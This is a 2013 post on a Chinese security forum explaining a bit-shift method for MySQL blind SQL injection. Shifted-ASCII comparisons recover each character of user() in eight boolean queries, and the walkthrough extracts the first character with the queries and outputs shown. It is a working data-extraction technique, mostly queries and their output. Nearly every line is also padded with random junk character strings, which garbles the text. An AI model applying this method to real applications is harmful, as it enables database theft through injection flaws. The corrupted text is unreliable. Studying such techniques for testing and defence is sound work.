找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2047|回复: 0
打印 上一主题 下一主题

关于通过对8bit的ascii做右位移提高mysql盲注效率

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:25:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位7 M: g+ z; y" o3 v: J

  Y( ^2 j6 W  H) J+ N' P& c
( p: i1 {, @+ i  Y* M6 J3 M, ^- ?. T) e" z6 B& }8 s3 j% u+ X
下面将以查询mysql数据库当中user()的第一位为例:
! A  @* g' U- m  z) S2 V
$ y/ t2 \- L' G& {' n ( Y6 w$ F  x4 k! A
; X8 ^' T# X$ o
ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)! D- p: g3 X" Z- k0 e
, ]. g, V' a2 q4 \

  x4 k) a$ c% ~! E% u) _) f
+ _! Y# E8 d1 [8 ~4 ~5 e% }首先执行如下sql语句:; F, i! p, b$ X* Y% A, O# F5 y5 ?

3 u% h/ g# ]; ]; J9 T5 |
( ?* D/ F+ S% x0 }: ^' s% s
3 _% o' [8 w. W+ r. Zmysql> select (ascii((substr(user(),1,1))) >> 7)=0;0 H1 c/ W( c5 ?4 b

  A3 ~& r5 N  f+ l* b! m / F  z  g, K5 n
' [4 F. h2 J7 ?
我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的1 _& N1 t/ N8 b2 D, s! k& K
9 p, z' J: S4 w

( l3 `* o. i' {$ N1 \- B3 o8 H) e" E7 d' h: d
第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1! L% c) {6 F6 e' I& |

: }  {+ q9 |2 `
; X2 Q4 b3 v- b3 h7 D0 y
5 a+ r& T/ z3 e* f如果运算结果为1,说明第一位为0,不为1+ {. f7 p1 W! t: H, @& H6 o7 L% ?7 B
. {/ t  t) |5 o0 s& M
' H- ?( m' ^" B% X" }
2 c, ~2 Q# |+ X
+————————————–+
- T; @" t8 Z, F  r
( Z% D, N0 ^6 f9 n, @| (ascii((substr(user(),1,1))) >> 7)=0 |
" H; H; @) F0 h0 ~. ^
1 g9 a2 T: m1 G' ^2 K, v+————————————–+
  n7 D, a) N$ M( s/ [9 B$ j* _
% H2 F: Z. v; D; n, B6 {| 1 |/ A; j  W; N5 Q! q$ `7 _% l
# ^* C! |- f# V1 T. g
+————————————–+
' D3 C& C0 c1 y
8 M1 t* U" l6 |, m. C1 row in set (0.00 sec)
+ f" I( N) k7 a& t) K; ]+ Y" p/ |1 C! V; |5 \5 v" _4 x$ c
这样我们就确定这个8bit的ascii的第一位为0
+ k* J$ Q3 o  V8 P
4 ^# t; N! @8 Q5 d2 B2 l/ u
3 m. E7 d! d6 X+ p( z
4 P/ _& i6 l. m第二次我们来做6次右偏移来确定前两位1 Z0 h4 {( H& F1 H" L, l3 ]

8 x# c8 U9 n9 G7 H
1 |8 E1 a4 v% }- q+ x. n9 {7 ]- M0 l( D
前两位可能是01或00,即依然可以与0做比较,
7 R- S1 P9 b4 b6 O/ i. u2 g! @5 e% J6 _8 `: _; O+ E" k; V6 F
mysql> select (ascii((substr(user(),1,1))) >> 6)=0;
5 K9 T7 P1 a/ T$ Z" l* ^$ ?
% J( y' w6 I" e% l% r( G6 u+————————————–+5 F; |; B* Q# m3 `- M2 x
+ F, k4 ^7 q# Z$ k6 u3 `/ K/ F
| (ascii((substr(user(),1,1))) >> 6)=0 |2 K( ~! j$ J6 ?7 s- R
* u7 W# s$ {* i+ v4 s0 q
+————————————–+
8 z6 i3 N' j+ d, r) B9 {
) S3 ]$ [8 g8 Y  L| 0 |
8 }7 w8 x+ ^$ j) W2 i8 {
% m% w/ P  o$ L3 D% a/ E3 ]+ ?+————————————–++ w, L0 @& E( k
( C% g6 h& G4 W5 G+ ?8 L  U
1 row in set (0.00 sec)- m# K4 Y" w8 d  f2 P" e
4 L5 X# y& d6 V# H* E$ \/ g) B

! V8 U8 d; c# v: ~+ F( o1 V# X2 N$ p1 W, s: l  I
结果为0,即第二位为1/ M% [7 p8 G: q. L( R4 p5 r
- f3 M0 Y0 Q1 |  l
8 V: h6 R# w# W5 f5 K

) }# P0 W3 S) \) w% ]2 _开始猜测前三位为010或0119 E% |( c5 B/ G1 h& J' \" u
5 h0 C* h- M, q

2 K/ |0 j. H* u7 a7 `, S! F# [3 d
# J3 C2 d) C7 T. |2 W让我们看看010和011的ascii码是多少
' P& j1 r" \$ f) g) A: N8 L
0 H" Q* z' d1 @) y7 b, P: x/ _4 ~2 @ ( X: k- S+ p' P( ?
; U- V0 U4 [& U+ @! s7 {5 J
分别查询select b’011′ select b’010′
. t# M0 u$ ~! G3 {/ F: T0 h' q( K( V" H# o2 Q2 W

- [6 T8 }, y4 u6 H1 F/ |
& _% N5 g) N& v2 B! T9 w  E5 G( R获得结果 010 = 2 011 = 3
% a0 ]+ F% b& k  _; D' M4 _  h/ N

+ x( c, {9 b7 C5 a/ C8 g7 l& B- \% q3 m* ?4 r, f# A
执行如下sql:
1 S5 E  w1 ?1 n0 o- [$ B% {' d: Y" J. K% o

9 T. Y% O* N9 _  F7 P' n' G/ n, |& d  V
) c# ~7 ^* y' F$ Y. Amysql> select (ascii((substr(user(),1,1))) >> 5)=2;: e& @/ C4 R3 r% \) d3 W+ E

. w' v  w' h9 c, D+————————————–+
4 R& v* E" B1 q' e8 ~( D1 e. q. [" o  s& U$ L
| (ascii((substr(user(),1,1))) >> 5)=2 |
7 h) y6 O( o/ k) L
& N0 i2 b% v/ z+ l7 |8 H+————————————–+
. r; j6 x- A5 s( ?% Q, x
( ^: r" W- K/ E: K2 @  J* o| 0 |
9 y1 E) f7 E4 L/ p* D5 }# o6 j: V. C* W1 D4 c
+————————————–+
5 r+ s  y! i, M; _0 Q) B- }9 X; e5 h, A: Y' B
即前三位不为010,而是011
& r& u5 R' c9 p1 m! X$ e; E! e; Q/ s$ I0 Y8 c& I4 b( l8 {+ X
+ O8 r( P2 e7 J1 J! C1 O3 [% @
" p  @- r  Z/ @6 E% A- o1 g9 T/ W  Q
直到获得最后一位1 }1 i- s% k  J1 M

4 E3 }# G6 g$ t' @, `$ V9 ~+ [
  Z/ f) L$ H' W+ {6 z; `, N( `
! p) Z8 b0 o% V5 W5 V( ~最终结果为:01110010
# q8 ?9 T. t8 f5 a! E8 Q  Q( }! E( R, w3 _

9 o1 S, C" x( R# t! p; b3 L* `2 ?) w# {& S; P$ {5 f
转换一下:
' r* X# x% W! s% [
! Z& V+ d' E  {8 }/ U& \2 k& A4 x
: A6 }& ^2 H0 ]9 u, [  s! [! E9 [" c6 p# e7 C! r5 t
select b’01110010′
/ M/ n* ^5 n# e( _0 X( @
; c8 O: |, n. [( T! _4 b' e   ?  h1 W8 U9 C7 b3 f
5 l$ O* E; ]/ x# Q1 Z6 P: @) S
查询结果; ^$ N/ g0 L6 T0 v% O% y
0 a. B' i% V  _5 G. W4 v
1 e6 v1 z; T+ `3 `9 ~

$ B0 j4 }9 u' A" R+ _" b: {+————-+
9 g9 d% t: e8 ~/ J0 [: L0 k' a; n3 M; Y, _. h, u* x4 O
| b’01110010′ |
3 q4 B. Z0 T  L% _( t3 t& ^
/ R  l0 l" r; ]5 l& ~' ?+————-+
7 Z1 b* O4 m+ D, k& \, a' S9 W2 M$ ^6 |, b! b, @: X& E) I; {
| r |
! U: T5 P: k# W/ f+ p9 H4 _# b0 `8 N: l" P- \$ X& Y" e* l
+————-++ a6 y7 ?; M* R

% \  ]" [6 b6 C1 row in set (0.00 sec)
2 ]) m+ W# e; ?/ n$ `5 g
. J0 D$ `9 }# t" d4 f
0 |+ |4 ^  C  S$ x+ {$ B* D! R; V" Z1 s. r3 \4 ?, A
这样我们就获得了user()的第一位.其它位依此类推
, ?1 C3 x$ D% g$ R: _' V" ~: E
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表